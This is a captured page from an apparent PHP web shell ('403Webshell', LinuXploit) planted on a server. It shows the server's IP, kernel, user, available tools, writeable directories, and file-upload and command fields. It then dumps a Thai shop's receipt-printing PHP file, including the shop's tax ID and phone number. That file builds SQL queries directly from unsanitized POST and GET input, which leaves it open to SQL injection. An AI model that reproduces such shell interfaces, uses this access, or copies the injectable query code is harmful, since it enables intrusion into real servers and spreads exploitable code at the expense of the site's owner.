403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.80
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/cooperative/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/cooperative/bacodesavebill.php
<?
require_once "config/confiteacher.inc.php";
//require_once "../head.php";
?>



<html>
<head>
<meta http-equiv=Content-Type content="text/html; charset=tis-620">
<meta http-equiv="refresh" content="2; url=paybill.php">
<title>-:- ใบเสร็จรับเงิน -:-</title>

</head>

<body onload="window.print()">

<EMBED SRC="somg.mp3" height="10" width="30" AUTOSTART="true" VOLUME="100%" MASTERSOUND></EMBED> 
<?
$teach=$objResult["teachcode"];
$year=date(" Y ")+542; 
$signup = (date("Y")+543).date("/n/j") ;
$cash=$_POST[cash];
$dd=date("d-m-y"); 
$priee=$_POST[sumtotalall];
$time = date("H:i:s");
$bill = $time.$signup.$teach;
//*** Update Condition ***//
if($_GET["Action"] == "Save")
{
	for($i=1;$i<=$_POST["hdnLine"];$i++)
	{
		$strSQL = "UPDATE paybill SET ";
		$strSQL .="statussell ='1'";
		$strSQL .=",totalpay = '".$_POST["txtpricsell$i"]."' ";
		$strSQL .=",datbill = '$signup' ";
		$strSQL .=",timebill = '$time' ";
		$strSQL .=",billnumber = '".$_POST["txtbill"]."' ";
		$strSQL .=",serailbill = '".$_POST["card"]."' ";
		$strSQL .="WHERE idpaybill = '".$_POST["hdnid$i"]."' ";
		$objQuery = mysql_query($strSQL);
	}
	//header("location:$_SERVER[PHP_SELF]");
	//exit();
}
$strSQL = "select * from paybill       
where totalpay='' and usersellbill=$teach";
$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
$i = 1;
?>

<form name="frmMain" method="post" action="home11.php?Action=Save">
<table  width="80%" border="1">
 <center><font size='1'>มาเดอะมอมินิมาร์ท ต.เสาธงชัย อ.กันทรลักษ์ จ.ศรีสะเกษ </font></center>
 <center><font size='1'>เลขที่เสียภาษี 33330400278491  โทร.063-452-5653</font></center>
 <center><font size='1'>ใบสำคัญรับเงิน</font></center>
  
  <tr bgcolor="#FFFFFF">
    <th width="10"> <div align="center"></div></th>
	 <th width="10"> <div align="center">#</div></th>
	 <th width="10"> <div align="center"><font size="+1">เงินสด</font></div></th>
	 <th width="100"> <div align="center"><font size="+1">รวมราคา</font></div></th>
	<th width="100"> <div align="center"><font size="+1">คืนเงิน</font></div></th>
	
	

  </tr>
<?
$i =0;

while($objResult = mysql_fetch_array($objQuery))

{
if($bg == "#EEEEEE") { //ส่วนของการ สลับสี 
$bg = "#FFFFFF";
} else {
$bg = "#EEEEEE";
}

	$i = $i + 1;
	$idsell =$objResult["idpaybill"];
	$idcodesell =$objResult["idcodesell"];
	$namestoc =$objResult["namestoc"];
	$pricsellstoc =$objResult["pricein"];
	$unitsell =$objResult["unitsell"];
	
	
	$pric =$pricsellstoc*$unitsell;
	$pricsum+=$pric;
	;
	

	

?>
  <tr bgcolor="<?=$bg?>">
  


  <tr bgcolor="<?=$bg?>">
    <td><div align="center">
	<input type="hidden" name="hdnid<?=$i;?>" size="5" value="<?=$objResult["idpaybill"];?>">
	 <td><font size="+1"><?=$i?></font></td>
	</div></td>
	<td><input type="text" name="txtidcodesell<?=$i;?>" style="font-size:20px;" maxlength="10" value="<? echo $idcodesell?>" >
	
	<td><div align="right"><font size="+1"><? echo $namestoc?></font>
	</div></td>
	<td><font size="+1"><? echo $unitsell?></font></td>
  <td><input type="text" name="txtpricsell<?=$i;?>" style="font-size:40px;" maxlength="10" value="<? echo $pric?>" >
</td>	
<td> <a href=del.php?id=<? echo "$idsell"; ?> onClick="return confirm ('คุณต้องการลบข้อมูลนี้? ')"><img src=images/delete.png width=40 height=40 border=0 alt=ลบข้อมูล></td>




  </tr>
<?
	  $i = $i;
  }
  ?>

  <?
  $ton=$cash-$priee;
  
  ?>
  <tr bgcolor="#FFFFFF">
    <th width="10"> <div align="center"></div></th>
	 <th width="10"> <div align="center"></div></th>
    <th width="10"> <div align="center"><font size="+1"><? echo $cash?></font></div></th>
	<th width="100"> <div align="center"><font size="+1"><? echo $priee?></font></div></th>
	 <th width="100"> <div align="center"><font size="+1"><? echo $ton?></font></div></th>
	
	

  </tr>
</table>
</form>
<?php include("regisinbill2.php");?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit